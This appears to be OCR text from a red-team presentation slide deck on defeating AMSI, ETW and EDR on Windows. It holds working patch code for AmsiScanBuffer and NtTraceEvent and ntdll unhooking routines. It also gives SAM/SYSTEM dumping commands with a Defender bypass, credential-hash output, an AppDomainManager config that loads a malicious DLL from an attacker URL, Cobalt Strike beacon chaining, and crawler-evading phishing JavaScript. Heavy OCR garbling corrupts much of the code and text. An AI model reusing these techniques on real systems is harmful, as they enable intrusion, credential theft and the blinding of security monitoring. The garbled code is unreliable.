public static extern bool VirtualProtect({IntPtr lpAddress, UIntPtr dwSize, uint flMewProtect, out

Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary(~am” + “si.dl1"™)

$address = [Win32]::GetProcAddress($LoadLibrary, “Amsi™ + "Scan™ + "Buffer™)
$p=0

[Win32]::VirtualProtect ($Address, [vint32]5, Ox48, [ref]sp)

[ $Patch = [Byte[]] (8xBE, @x57, @x@8, Oxe7, oxie, Exfli

stem.Runtlime. Interopservices Marshal |- 0O atc 5 ] ress
System. RUNt] teropservy Marshal ] : :Copy(sPatch, 8, $Add . 6)
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Defeating AMSI

DEFEATING AMSI by patching AMSISCANBUFFER API USING A
SINGLE BYTE APPROACH

$Patch = [Byte[]] (©xB8, ©x57, 6x06, Ox87, 6x808, 6xC3)

$Patch = [Byte[]] (ex74)

M7,



Defeating AMSI

DEFEATING AMSI By patching AMSISCANBUFFER APl USING A
SINGLE BYTE APPROACH

amsi.dll export address table

Mame

@ AmsiCloseSession
@ Amsilnitialize

@ AmsiOpenSession
@ AmsiScanBuffer
@ AmsiScanString
@ AmsilJacInitialize
@ Amsillacscan

@ amsilacUninitialize

@ AmsiUninitialize
@ DliCanUnloadMow

@ DlGetClassObject

@ DIRegisterServer

@ DllunregisterServer

‘Ed DIEntryPoint

Address

00000001300035A0
Q000000130003520
Q000000130003340
Q0000001300033C0
00000001300039C0
Q000000130003A20
Q000000130003CAD
0000000130003 C40
Q0000001300037ED
Q00000013000 1640
Q00000013000 1680
0000000150001CC
Q000000150001CC0

. 0000000 18000FES0

Crdinal

o0 s hotn s L

[ = Y s |
LIS N NS ISR |

[main entry]
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Defeating AMSI

DEFEATING AMSI By patching AMSISCANBUFFER API USING A
SINGLE BYTE APPROACH

C_188883995

p dword ptr [rbx], 49534D41h
rt loc_188883995

— ] mow rax, [rbx+3]

jz short loc_l138883995

moy cx, [rbx+l@h]

jz short loc_158@83995

—n T« ¥ S ¥ YYVYVYVYYY
: EIEI@

: 3gh+var_38], rax
| »ff_18808124A30 loc_15@@3995:

38h+var_48], rdx| |mov eax, 80878857h
~ad T
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Defeating AMSI

DEFEATING AMSI by patching AMSISCANBUFFER API using a
single byte approach

dword ptr [rbx], 49534D41h

Lol (e =
rbxis pointing to the first argument passed to the functi k short loc_180083995

HRESULT AmsiScanBuffer(
[in] HAMSICONTEXT amsiContext,
[in] PVOID buffer,
[in] ULONG length,
[in] LPCWSTR contentName,
[
[




Defeating AMSI

DEFEATING AMSI by patching AMSISCANBUFFER API using a
single byte approach

Simply put, the function validate the AMSI context provided it is valid
As an attacker we can patch the jump condition to always fail the check

FEE :
(B
48 85 DB test rbx, rbx E@E -
74 58 jz short loc_ 188883995 ; Exported entry 4. AmsiScanBuffer
I
MEE
81 3B 41 4D 53 49 cmp dword ptr [rbx], 49534D41h public AmsiScanBuffer
75 58 jnz short loc_18@8883995 AmsiScanBuffer proc near
. I ] {324,-€48) (115,€56) 00002CCO 00000001800038C0: AmsiScanBuffer (Syn
"I Y
48 BB 43 @8 mov rax, [rbx+8] il ma =
48 85 (@ test  rax, rax
74 A7 jz short loc_1888@3995 81 3B 41 4D 53 49 cmp dwaord ptr‘ [r'hx], 49534041k
75 58 jnz short loc_l3@@@3995
v —
@@ .00% (291,52€) (133, €828) 00002042 0000000180002942: AmsiScanBuffer+23
48 8B 4B 18 Mo rcx, [rbx+1eh]
48 85 (9 test  reox, rex

74 3E jz short loc_18@@@3995 AmSiscanBUffer + 83 - OX74

YYVYYYYY
| W=

m@m@




Defeating AMSI

DEFEATING AMSI by patching AMSISCANBUFFER API using a
single byte approach

#Finclude <windows.h>
#include <stdio.h>

main{) {

DWORD dwOld = 8;

FARPROC AmsiScanBuffer = GetProcAddress(LoadlLibrary("amsi.d11"), "A
printf("AmsiScanBuffer at @x&pi\n", AmsiScanBuffer);

CHAR patch[] = "8@x74";
VirtualProtect(({char*)AmsiscanBuffer + 83, 1, PAGE EXECUTE READWRITE, &dw0ld):

memcpy( ( char*}AmsiScanBuffer + 83, patch, 1);
VirtualProtect({char*)AmsiScanBuffer + 83, 1, dwlld, &dwlld);
return @;

1

J

Notice the use oGetProcAddresd.oadLibranandVirtualProtect EDR may monitor
these calls

M7,



Defeating ETW

WHAT IS ETW

According to Microsoft ETW is:

Event Tracing for Windows (ETW)

provides developers a fast, reliable, and versatile set of event tracing features.

M7,

Events

Logged Events

ETW Architecture
Control
Controller A
. Data Flow
Enable/Disable ] Session Control
51 Windows Kernel
Event Tracing Sessions
Sesslon 1 Sesslon 2 Sesslon 64
[‘;:‘i'l."r MIS_FJih.\-r -\_ﬂ_:PL*f
i e
. :  Events :
v, : a® Y »
Provider A Provider B Provider C L
| Consumer

Irce Microsoft

ing provides a mechanism to trace and log events that are raised by use
mode applications and kernehode drivers. ETW is implemented in the Windows operating system and
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Defeating ETW

Patching user mode API for ETW
Like AMSI, thelassigatch relies orpatchingthe EtwEventWriteAPI ntdll.dll

i e =

; Exported entry 71. EtwEventhrite

Inov
sub
mov
Xaor
Mo
waor
Mo
war
Mo
Mo
call
add
retn

public EtwEventWrite
EtwEventWrite proc near

var_38= word ptr -38h

rll, rsp

rsp, 5&8h
[r11-18h], r9
eax, eax
[r11-28h], r&d
rod, rod
[r11-28h], rax
réd, rad
[r11-38h], rax

[rsp+58h+var_38],

sub 18884F228
rsp, 58h

ax
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Defeating ETW

PATCH ETWEVENTWRIT

Ll il =]
Ll loc_18@@4F37C:
cx, [rbx+58h]

edx, 38@h
[rbp+eceh+var_l186], row
réd, 78h

lea rg, [rsptlCe@h+var_158]
[rbp+eCah+var EE], rlld

call MNtTraceEvent
eeeeeee

st  eax, eax
jnz loc_1888B9AD1

NtTraceEvenis thesyscallo enter
the kernel
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Defeating ETW

WHAT IS ETW

Nt* APls are usually the lowest functions beforsyacallwill be issued

M7,

¥

NtTracekEvent

P

; Exported entry 642. NtTraceEvent
; Exported entry 2225. ZwTraceEvent

public NtTraceEvent

NtTraceEvent proc near

mow rl&J rcx 3 NtTraceEvent
mov eax, 5Eh

test byte ptr ds:7FFE@3@8h, 1

jnz short loc_18@@9D8F5

This function is the central switching point for writing an event through Event Tracing For
Windows (ETW).

L]

; Low latency system call

int 2Eh

; D05 2+ internal - EXECUTE COMMAND
3 D5:5I -» counted CR-terminated command string
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Defeating ETW

PATCHIN®~ttraceevent

NtTraceEvenis hiding all over the place

[2] xrefs to NtTraceEvent O
Directio Typ Address Text

@ Up p sub_13004F228+171 call NtTraceEvent
@ Up p EtwTraceMessageVa+86 call  NtTraceEvent
@ Up p EtwEventWriteNoRegistration+6F call NtTraceEvent
@ Up p EtwWriteUMSecurityEvent+72 call  NtTraceEvent
@ Up p EtwSetMark+C call NtTraceEvent
@ D.. p sub_1300043E4+A3996 call  NtTraceEvent
[ D... p RiDestroyHeap+9FD24 MtTraceEvent
= D... p RilDestroyHeap+9FDE2 call  NtTraceEvent
@ D.. p sub_130011AEQ0+2A30D call  NtTraceEvent
@ D.. p sub_13001685B0+96084 call  NtTraceEvent
@ D.. p RtSetThreadSubProcessTag+8FIB9 call  NtTraceEvent
@ D.. p .text:00000001300B0219 call NtTraceEvent
@ D.. p EtwlLogTraceEvent+6A2A7 call  NtTraceEvent
@ D.. p sub_130053A0C+56E06 call NtTraceEvent
@ D.. p RilnitislizeCriticalSection+5CD 38 call  NtTraceEvent
@ D.. p sub_130063370+58420 call NtTraceEvent
@ D.. p RilnitializeCriticalSectionAndSpinCount+5A5... call NitTraceEvent
@ D.. p sub_l130082F94+46315 call NtTraceEvent
@ D.. p sub_1300CED74+CF call  NtTraceEvent
@ D.. p sub_l1300CED74+23A call NtTraceEvent
IE D.. p sub_1300CFD20+145 call NtTraceEvent
@ D... p sub_1300CF3FO0+D0 call NtTraceEvent
IE D.. p sub_1300DE7S3+8F call NtTraceEvent
@ D.. p sub_l1300DEB03+72 call NtTraceEvent
@ 0. p sub_1300DEE93+71 call NtTraceEvent
@ D.. p sub_l1300DES23+8A call NtTraceEvent
@ D.. p sub_1300DESD4+3A call NtTraceEvent
@ D.. p sub_1300E157C+AS call NtTraceEvent
@ D.. p RtExecuteUmsThread+167 call NtTraceEvent
@ D.. p sub_130107FAQD+7E call NtTraceEvent
@ D.. p sub_18010803C+69 call  NtTraceEvent
@ D.. p sub_1301080C4+78 call NtTraceEvent
@ D.. p sub_18010815C+78 call  NtTraceEvent
@ D.. p sub_130109ADC+6D call NtTraceEvent
@ D.. p sub_180109B68+78 call  NtTraceEvent
@ D.. p sub_130109C00+6A call NtTraceEvent
@ D.. p sub_180109C88+8E call  NtTraceEvent
@ D.. p sub_130109D33+94 call NtTraceEvent
@ D.. p sub_180109DF0+58 call  NtTraceEvent
@ D.. p sub_130109E6C+SE call  NtTraceEvent
@ D.. p sub_180109F1C+88 call  NtTraceEvent
|m ™~ - b AOAANNC,D 1 £8 -l AL e N
£
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Defeating ETW

PATCHIN®~ttraceevent

Patching theNtTraceEventunction and make it simply return without actually
executing thesyscall

Another one byte patch

VOID PatchETW() {
FARPROC NtEventTrace = GetProcAddress(LoadLibrary("ntdll.dll"™), "NtTraceEvent");
DWORD dw0ld;
CHAR patch[] = "\xc3";

VirtualProtect(NtEventTrace, 1, PAGE_EXECUTE READWRITE, &dw0Old);

memcpy (NtEventTrace, patch, 1);
VirtualProtect(NtEventTrace, 1, PAGE_EXECUTE_READ, &dwOld);
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Defeating ETW

ETW PROVIDERS

ETW also relies on providers with administrative right; you can free most of the

providers

https://github.com/jthuraisamy/TelemetrySourcerer

Kemelmode Calbacks ] Usermode Hooks ETW Trace Sessions l;’-‘a.l:u:n_rt ]

Refresh Results

Disable Provider

Stop Session

Count: 24 sessions.
Tip: Missing results? Bun as SYSTEM to view more sessions.

Session | Enabled Provider Is Mota
Diagtrack-Listener Microsoft-Windows-Kernel-Process Yes
EventlLog-Application Microsoft-Windows-WinlMet-Capture Yes
EventlLog-Application Microsoft-Windows-PowerShell Yes
EventlLog-Application Microsoft-Windows-WMI-Activity Yes
EventlLog-Microsoft-Windows-5Sysmon-Operational Microsoft-Windows-5ysmaon Yes
EventlLog-System Microsoft-Windows-DMS-Client Yes
EventlLog-System Microsoft-Windows-5MBClient Yes
EventlLog-System Microsoft-Windows-5MBServer Yes
EventlLog-System Microsoft-Windows-Audit-CVE Yes
LwtMetlog Microsoft-Windows-WinlMet Yes
LwtMetlog Microsoft-Windows-DMS-Client Yes
SgrmEtwSession Microsoft-Windows-Kernel-Process Yes
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Defeating ETW

ETW PROVIDERS

Under the hood, the stop session is getting a handle on the ETW provider and call t
EnableTraceEx2 API using the EVENT_CONTROL CODE_DISABLE PROVIDER {

if(!IsAlreadyKnown(&lg, guid)) {
printf({"Interesting name found: Xls\n-
printfGu H
printf({"LoggerId: %d\n", id);

if(EnableTraceEx2( (TRACEHANDLE)id, &guid, EVENT_CONTROL CODE_DISABLE PROVIDER, TRACE LEVEL VERBOSE, 8, 8, @, NULL) == ERROR_SUCCESS) {

printf{"%ls was set to EVENT_CONTROL_CODE_DISABLE_PROVIDER.\n\n", name);

5 else
printf("Failed to set EVENT_CONTROL_CODE_DISABLE_PROVIDER. Error %d\n\n", GetLastError());

M7,



Defeating ETW

The EVIL TWIN

User mode is nice but the kernel also
have some ETW

These can be found in ntoskrnl.exe
Let me introduce the:
ETW Thread Intelligence

M7,

Function name

E EtwTiLoglnsertQueuelserfpc

E EbwTimLogBlockMonCetBinaries

|E| EtwTimLogControlProtectionUserModeReturnMismatch
|E| EtwTimLogRedirectionTrustPolicy

E EbwTimLogUserCetSetContextlpValidationFailure
E EbwTiLogDeviceObjectLoadUnload

| 7] EtwTiLogAllocExecVm

|E| EtwTiLogProtectExecVm

| 7] EtwTiLogReadWriteVm

|E| EbwTiLogSetContextThread

|E| EtwTiLogMapExecView

E EbwTimLogPrehibitChildProcessCreation

E EbwTiLogDnverObjectUnload

|E| EtwTiLogDriverObjectLoad

|E| EtwTiLogSuspendResurmneProcess

E EtwTiLogSuspendResurmeThread

E EbwTimLogProhibitDynamicCode

|E| EtwTimLeogProhibitLowlLimageMap

|E| EtwTimLogPrehibitMenMicrosoftBinaries

E EbwTimLeogProhibitWin32kSystemCalls
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Defeating ETW

Th e EVI L TWI N KERMEL_THREATINT_TASK_ALLOCVM_V1

KERMEL_THREATINT _TASK_PROTECTVM_V1
KERMEL_THREATINT _TASK_MAPVIEW \1

You Can/i ew th e event KERNEL_THREATINT_TASK_QUEUEUSERAPC_V1
mMon |tO e d us | N g EtwEX p | OF@[ KERNELTHREATINT TASK SETTHREADCONTEXT V1

KERNEL_THREATINT_TASK_ALLOCVM6_V1

https://github.com/zodiacon/EtwWEXP|Or kerneL THREATINT Task_PROTECTVMT V1
KERNEL_THREATINT_TASK_MAPVIEWS_V1
KERNEL_THREATINT_TASK_READVM_V1
KERNEL_THREATINT_TASK_WRITEVM_V1
KERNEL_THREATINT_TASK_READVM13_V1
KERNEL_THREATINT_TASK_WRITEVM14_V1
KERNEL_THREATINT_TASK_SUSPENDRESUME_THREAD_V1
KERNEL_THREATINT_TASK_SUSPENDRESUME_THREAD16_V1
KERNEL_THREATINT_TASK_SUSPENDRESUME_PROCESS_V1
KERNEL_THREATINT_TASK_SUSPENDRESUME_PROCESS18_V1
KERNEL_THREATINT_TASK_SUSPENDRESUME_PROCESS13_V1
KERNEL_THREATINT_TASK_SUSPENDRESUME_PROCESS20_V1
KERNEL_THREATINT_TASK_ALLOCVM21_V1
KERNEL_THREATINT_TASK_PROTECTVM22_V1
KERNEL_THREATINT_TASK_MAPVIEW23_V1

Value

Version

Task
KERMEL_THREATINT_TASK_ALLOCVM
KERNEL_THREATINT_TASK_PROTECTWVM
KERMNEL_THREATINT_TASK_MAPVIEW
KERNEL_THREATINT_TASK_CQUEUEUSERAPC
KERNEL_THREATINT_TASK_SETTHREADCONTEXT
KERMNEL_THREATINT_TASK_ALLOCWYM
KERMNEL_THREATINT_TASK_PROTECTWVM
KERMNEL_THREATINT_TASK_MAPVIEW
KERMNEL_THREATINT_TASK_READVM
KERNEL_THREATINT_TASK_WRITEVM
KERMNEL_THREATINT_TASK_READVM
KERNEL_THREATINT_TASK_WRITEVM
KERMNEL_THREATINT_TASK_SUSPENDRESUME_THREAD
KERMEL_THREATINT_TASK_SUSPENDRESUME_THREAD
KERMEL_THREATINT_TASK_SUSPENDRESUME_PROCESS
KERMEL_THREATINT_TASK_SUSPENDRESUME_PROCESS
KERNEL_THREATINT_TASK_SUSPENDRESUME_PROCESS
KERMNEL_THREATINT_TASK_SUSPENDRESUME_PROCESS
KERMNEL_THREATINT_TASK_ALLOCVM
KERNEL_THREATINT_TASK_PROTECTWVM

KERMEL_THREATIMNT_TASK_MAPVIEW
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Defeating ETW

The EVIL TWIN

NtReadVirtualMemorkernel
Implementationeventuallycalls
MiReadWriteVirtualMemoryhichis
callingeETWTiLogReadWriteVm

Youcannotpatchthis kind of callfrom
user modesadly

But, ifyougetkernel code exécution,
sameconcept carbe applied

M7,

loc_14@85F7F4A:

MO re, rl3

MO ré, rld

mov rdx, [rsp+eseh]

MO rcx, rla

jmp short loc 1485F7EEE
loc 1485F7F5D

movzx  eax, byte ptr [rsp+

jmp loc 14@5F7E4D
loc 1485F7F67:

MoV [Frsp+28h], rsi

MoV [Frsp+2@8h], rl3

mov rod, rl2d

M ra, rld

mov rdx, rl@e

mov ecx, edi

call EtwTilogReadWriteVm

jmp short loc_1485F7F12
loc_1485F7F83: _

mov rbx, [rsp+eBeh]

jmp loc 1485F7E4D

MiReadWriteVirtualMemory Endp|
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5STSIFUGAYI dal OKAYS
As an attacker do we have options?

A classiexampleof dump the SAM & SYSTEM

reg save HKLMSYSTEMsystem.save
reg save HKLMSAMsam.save



5STSIFUGAYI dal OKAYS
As an attacker do we have options?

:\Windows\system32>reg save HKLM\SYSTEM SYSTEM
Access is denied.

A process was blocked because
malicious behavior was detected.
10/7/2022 9:41 AM

l.lrln‘lllln"-._ ystem32>reg sawve tLMASYSTEM SYSTEM
is 1

\Windows, system32>rteg si s % { S VS " TEM
_he operation u_mplehed

O .
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As an attacker do we have options?

4

a

al OKAY S

2\Windowsh\system32>reg copy HKLMASYSTEM HKLM\Software\MrUnlked3r

The operation completed successtully.

:\Windowsh\system32>reg save HKLM\Softtware\MrUnlkeéd3r SYSTEM

=i —_—

FllE SYSTEM already exists. Overwrite (Yes/No)?Yes
The operation completed successfully.

C:\Windows\system32>»
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As an attacker do we have options?

jev@ubuntu: k $ python3 secretsdump.py 'RINGZER®/rz: @192.168.10.10"
Impacket v0.9.24.dev1+20210814.5640.358fc7c6 - Copyright 2021 SecureAuth Corporation

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xadfb973el11d501ba33c6ecd4f17b043a
[ Dumping local SAM hashes (uid:rid:1lmhash:nthash)
ninistrator:500:aad3b435b51404eeaad3b435b51404ee:3a3a3e517d159fecl167e0e3830986a38
est:501:aad3b435b51404eeaad3b435b51404ee:31d6cfefd16ae931b73c59d7e0cO89cOH: & :
aultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cTefdd16ae931b73c59d7e0cOB9cCO: 1 :
Dumping cached domain logon information (domainfusername:hash)
Dumping LSA Secrets
SMACHINE.ACC

dev@ubuntu: S python3 secretsdump.py 'RINGZERO/rz: @192.168.10.10" -use-vss
Impacket v0.9.24.dev1+20210814.5640.358fc7¢c6 - Copyright 2021 SecureAuth Corporation

Searching for NTDS.dit

Registry says NTDS.dit is at C:\Windows\NTDS\ntds.dit. Calling vssadmin to
] Using smbexec method for remote execution

Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

Searching for peklList, be patient

PEK # 0 found and decrypted: 01feb8aaS4adcdf2eff7b7fcafilafca

Reading and decrypting hashes from \\192.168.10.10\ADMINS\Temp\skvqgrdQ.tmp
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Remotely executing code?

DCERPC is quite powerful, you can achieve pretty much everything over RPC

For example how secretdumps.py actually work?

[MS-RRP]: Windows Remote Registry Protocol

M7,
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Remotely executing code?

Parameter Valua Reference
RPC Interface UUID | {338CD001-2244-31F1-A8AA-900038001003% | [C70&]
Pipe narmse \PIPE\winreg [MS-SMB]

https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/NRRP/%5bMERP%5d. pdf

M MIe7,

dal OKA Y S

.1,

1
i,
1

BuLd b

=]
5
=]
]

[ SL Ry S8 ¥

OpenClassesRoot (Oprnum 0) s sim s e s s S0
OpenCurrantlser (OPRUm 1) cirsresrmimins s sons s sosssss s s sarasasnsns sesasssnsnas 29
OpenLocalMachine (Opnum 2} a. R ]
OpenPerformancelata (Opnum 2] coeeicies s s s e s mes ssassens s a2z

F-RAPT - 20210625

dows Remaote Registry Frotoco!
wright © 2021 Microsoft Corporation
\ease: June 25, 2021

3.1.5.5

2.1.5.6

3.1.5.7

3.1.5.8

3.1.5.9

3.1.5.10
3.1.5.11
3.1.5.12
3.1.5.13
3.1.5.14
3.1.5.15
3.1.5.16
2.1.5.17
3.1.5.1B
2.1.5.1%
3.1.5.20
3.1.5.21
3.1.5.22
3.1.5.23
3.1.5.24
3.1.5.25
3.1.5.26
3.1.5.27
3.1.5.28
3.1.5.29
2.1.5.230
3.1.5.31

OpenUsers [CPUM 4 vuu s somsmesssmimns o rsss eans s soss s e s sesss s s s vassnsnas a3
Bas=RegClosekey (Cpnum 5] .. coene S
BaseRegCreatekey (Opnum ) crramimins iarssessans s sasssss s sasanasasmsnssasasasnsnas a5
BaseRagDeletekey [DPMUmM 7)o sin s s snssna i snsssss e nane s ssmsnasasmsmsasas 39
BaseRegDelatevalue [Opnum 87 uicsiciss iarssesans s mnsssssss sasarasssnsns sasasasnsnas 40
BaseRagEnumkey [OPnum 3w sims s armcnsssns s sosssns e nanesssmsasasmsmsasas 41

BaseRegEnumialue {Opnum 107 wrmicissiarmsesssms s mnsssss s s sasasssmsns sasasssnsnas 43

BaseRagFlushKay {Opnum 11] . s arenssa i cnsees e ssns s e s sm s s 45
BaseRegGetkKeySecurity (Opnum 12) e iarsrecoansrs sassssssssasarasssnsnssasasasnsnas 45
BaseRegloadkey (Opnum 13) crcmiciss iarmsssssns s sssssss s sssasasssmsns sosasasnsnas 47
BaseRegOpenkey (Opnum 15) ammsmimissarssasssss s sassrasasinssanarasssnas 43
Bas=RegQuerylnfokeay (Opnum 16) e iarmsems s mnsssss s sesanasssmsns sosasasnnas 51
Bas=RegQueryValue (Cpnum 17} .. ]
BaseRegReplacakey (Opnumi 187 wuvissiciss iarssesansss sassssssssssanasssmsnssasasasnsnas 55
BaseRegRestorakey (Opnum 1%) ... vanan 7
BaseRegSavekey [Opnum 200 crcsrmimiss iarsssssans s sssssss s sssasasasnsns sasasasnsnas 59
BaseRagSetKeySecurity [OPnum 217 s cssens e nans s ssmssasasmsms s &0

BaseRegSetValua [Opnum 22} . wcessmicins iarssssans s snssssss sasanassmsns sasasasnsnas 61
BaseRagUnLoadkey [Opnum 23] e s arcnssna s cnssens e nsns s ssmsnasasmsmsasas g2
BaseRegGetVersion [Opnum 26} e s sans s sasssss s sasarasasmsnssasasasnsnas 64

OpenCurrentConfig [CPNUM 27) e s ssess s sane s ems s sssmsms e 64
BaseRegQueryMultipleValues (Opnum 29).. vanae B35
Bas=RegSavekeyEx {Opnum 21} i iarssnsane s sasssss s sasanasasnsnssasasasnsnas &7
OpenPerformanceText (Opnum 322} e vanae B9
OpenPerformanceMlsText (Opnum 227 v s e s e ssis ssasen s E9
Bas=RegQueryMultiplaValues2 {Oprnum 34) ... canen 70

BassRegDelateleyEx [Opnum 25 i iarssnssans s snsssss s sssanasasnsnssasasasnsnas 72
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CHAINING VARIOUS TRICK

Use theAppDomairtrick to loadyour payloadwithin Update.exe kindly signedby
Microsoft

<configquration>
<runtime>
<assemblyBinding xmln=s=="urn:schemas-microsoft-com:asm.v1">
<dependenthAssembly>
<assemblyIldentity name="malicious" publicFeyToken="ff4d601cl484a445" culture="neutral"™ />
<codeBase version="0.0.0.0" href="https://mr.unlk0d3r.world/malicicus.dll"/=>
</dependenthAssembly>
</fassemblyBinding>
<etwEnable enabled="false" />
<appDomainManagerfssembly value="malicious, Version=0.0.0.0, Culture=neutral, PublicEReyToken=ff4de0lcl4845445" /=
<appDomainManagerType value="Updater™ />

</ runtims>
</configuration>

M7,
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CHAINING VARIOUS TRICK

dal OKA Y S

ThenyoudoyourinternalNE O2y Yyl Aaal yOS®

NOTE: This is

beaconing to the rare and

N

This has likely given the operator a backdoor, which they have used to connect to

suspicious ports including 88 (Kerberos), 135 (MS

indicate port scanning, reconnaissance,

suspicious domain

°C) and 445 (SMB). This may

credential harvesting and/or lateral movement.

We note that this has been .3('r:r:‘:,w/h;(:gc}:‘,: in the Ul, but wanted to provide further

context,

Execution Details

Workstation
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CHAINING VARIOUS TRICK

& ¢ Ndza 0 SR ¢ OAY Il NE C)I-ff)\yzl OI-C)l | kéarBekos R
and SMB
How can we break the chain?

One process that takes care of the outbound network communication
One process taking care of the internal reconnaissance and forward the information

M7,
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CHAINING VARIOUS TRICK

Using tool such as Cobalt Strike makes this fairly easy

AUpdate.exe callback to your domain
ASpawn a SMB beacon on the system

ALink the SMB beacon to your HTTPS beacon (on the same host or through anothe
one you have already compromised)

ADo all the reconnaissance on the SMB beacon

M7,
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CHAINING VARIOUS TRICK
Abuse of Microsofown features

Signedbinaryand signedscripts

Microsoft Defender haplenty of
PowerShell scriptthat canbe usedto
executecode andhey are sighed

https://github.com/Mr-Un1k0d3r/ATHPowerShellScripts

M7,

yal OKA Y S

122 Collect-Azure-Vm-Metadata

124 # 5IG # Begin signature block

A0cCoIInviCC

125 # MIInzQYJKoZIh

126 # BgEEAYISAgEE LCEG3INLG

f KXTZUQIBAATBAATBAATBAATEAD,

waTABEgorBg

4%CzAIBENVBAYTALVTMR!

R4wHAYDVOOQK ExVNakhy

M1TWLS
{FBIFByb3R1Y3Rp

136  # b24wggEiMABGCSGGESIb3DOEBAQUAALIBDWAWEEEKACTBAQCEY671dUrLERD131s1

https://github.com/Mr-Un1k0d3r/ATP-PowerShell-Scripts/blob/main/2
RS9 P
89 BUMLO = LNVOKE-HESTMETNOO -HEaders [@{ METaaaTa ="Trus~} -MeTnod el -Url “n
11@
112 # Only if the subscription id is not null we will report the event.
113 if (![string]::IsNullOrEmpty(3subscriptionId))
114 I
115 $collectedAzureVmMetadata = [AzureVmMetadata]::new($subscriptionId, %
116 ZetwProvider.Write("AzureVmMetadata”, %collectedAzurevVmMetadata)
11 T
118 }
115 b
128
121
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CHAINING VARIOUS TRICK

Thesescripts exporfunctionalitiessuchas:

Function Get-RegistryValue function Import-CSharplibrary {
I [CmdletBinding( )]
param {
Parami( # Path to the .cs file.
[ Parameter I: ::I ] [Farameter(Mandatory=%trus)]
. [string] %Path,
[5tring]
$Hegi5‘tr"_|,-' Location s # Should ignore compilation warnings.
[Parameter()]
[switch] %IgnoreWarnings
[Parameter()] )
[St Fi|1g] fcode = Get-Content -LiteralPath $Path -Raw
Add-Type -TypeDefinition %code -Language CSharp -IgnoreWarnings:%IgnoreWarnings
FRegistryiey

)
M7,
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CHAINING VARIOUS TRICK

We now have abringyour own Microsoftsignedscripts on thearget.

import-module .\2495bc93-83el-4418-a623-46ad2323ee99.psl

Get-RegistryValue -Registrylocation HKLMASYSTEM\CurrentControlSet\Services‘\sense -RegistryKey Start
8

2

M7,
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Yourphishingpayloadwasexecutedby a useryouwould expectsomeinteraction on the system
Monitor foregroundwindow activity

vold MonitorForegroundWindows() {
DWORD DW_MAX SIZE = 256;
DWORD MIN COUNT = 1@;
CHAR current[MAX + 1];
DWORD passed = ©;
memset(current, 8x88, DW MAX STI7E);

while(passed < MIN_COUNT) {
HWND hwnd = GetForegroundWindow();

CHAR *title = (CHAR*)GlobalAlloc(GPTR, DW MAX SIZE + 1);
GetWindowTextA(hwnd, title, DW MAX SIZE);
if(strcmp(title, current) ==

strncpy(current, title, DW MAX STIZE);

passed++;

GlobalFree(title);

M7, |
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You caralsomonitor for:

A Process check Chrome, Outlook etc...
A Mouse, Keyboard andther peripherals
A Numberof DNSjueries

A X

The goalsto avoidautomatedescalationdetection

M7,
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HIDE YOUR PHISHING PAYLOAD FROM CRAWLER

<IDOCTYPE html>
<html id="bodydiwv":>

mouseovereventcanbe usedto
trigger code change at runtime
In this case the script also expect vax heetelomont = document. gecElonentoyId(“Linkn) 5 |

window.addEventListener ("load', function () {

movement over the body not just an onr Samee = £atee;
Eiljt()rT]EitE}(j (:Ii(:h( bodyelement.addEventListener ("moussover", trigger, false);

hrefelement.addEventListener ("moussover", loader, false) ;

3]

funetion trigger (e) {
counter++;

¥

function loader(e) {
if(counter > 10) {
hrefelement .href = "https://mr. unlk0d3r.com/";

} else {
hrefelement.href = "https: google.com" ;
}
}

</script>

</body>
</html>
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REMOVE IT OR HIDE FROM IT?

kernel32!0OpenProcess ntdI1.d11:00007FFFC75ACADD
ntdll.dll:00007FFFC75ACAD® ntdll NtOpenProcess:

kernelbase!OpenProcess ntd11.d11:00007FFFC7SACAD®[jmp near ptr unk_7FFF87590298
ntdll.dll:00007FFFC75ACADO

ntdIl'NtOpenProcess ntd11.d11:00007FFFC7SACAD®

ntdll.dll:00007F
o0

syscal[)x26 ntdll.d1l:00007F

Hooked OpenProcess Flow

Normal OpenProcess Flow
. text:200000013009CADO public NtOpenProcei://

. text :000000013009CAD@ NtOpenProcess proc near
. text:000000013009CADR

. text : 000000018009CADO mov rl@, rcx

. text :000000018009CAD3 movV eax, 26h ; '&'’

. text :000000018009CADS test byte ptr ds:7FFE@308f
. text :002000018009CAED jnz short loc_18009CAES

. text : 000000018009CAE2 syscall

. text:000000018009CAES —Tetn
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REMOVE IT OR HIDE FROM IT?

Torevertit back to the original stataye need11 bytes

VOID PatchHook({CHAR* address, unsigned char id, char high) {
DWORD dwsize = 11;
CHAR* patch_address = address,
Cd e\ Bb Y xd 1 xb B GO0 HHY 288, B8, B xB85% xc 3
CHAR* patch[dwSize];
sprintf(patch, "\x4c\xBb\xd1l\ xb8%cHcHchc \x@F\xB5\xc3", id, high, high * high, high * high};

DWORD dwOld;

VirtualProtect(patch_address, dwsize, PAGE_EXECUTE_READWRITE, &dwlld);

memcpy (patch_address, patch, dwsize);

https://github.com/Mr-Un1k0d3r/EDRs

M7,
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REMOVE IT OR HIDE FROM IT?

Revertback the ntdll.dll content back to the original state

PatchHook{NtProtectVirtualMemory, @x58, 8xea);
PatchHook(MNtAllocateVirtualMemory, @xl8, 8x@e);
PatchHook(NtAllocateVirtualMemoryEx, @x7G, @x8a)
PatchHook (NtDeviceloControlFile, @x7, @x8a);

int main (int argc, char **argv) {
CleanUp();

f/ Malicious Code

return @;

M7,



5STFSIFUAYI a! &SN azRS

REMOVE IT OR HIDE FROM IT?

You caralsocompletelyreimplementthe syscalbn your own like syswhisper
https://github.com/klezVirus/SysWhispers3

NTSTATUS  attribute  ((noinline)) SyscallNtCreateFile(
PHANDLE FileHandle,
ACCESS MASK DesiredAccess,
POBJECT ATTRIBUTES ObjectAttributes,
PIO_STATUS BLOCK  IoStatusBlock,
PLARGE TNTEGER AllocationSize,
ULONG FileAttributes,
ULONG Sharefccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG Ealength
(49, Bx89, @xca, Bxb8, 8x55, 8xP8, ex\P., exes, exef, exes5, 8xc3™); }
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REMOVE IT OR HIDE FROM IT?

main() {

FARPROC RtlIn1TUn1rodv5tP1ng GetProcAddress(LoadLibrary( "ntdl1.d11"), "RtlInitUni
printf({"RtlInitUni %pin”, RtlInitUnicodeString);

HANDLE hFile =

UNICODE_STRING pus;

I0_STATUS_BLOCK isb =

LARGE INTEGER 1i;

1i.QuadPart

PCWSTR path

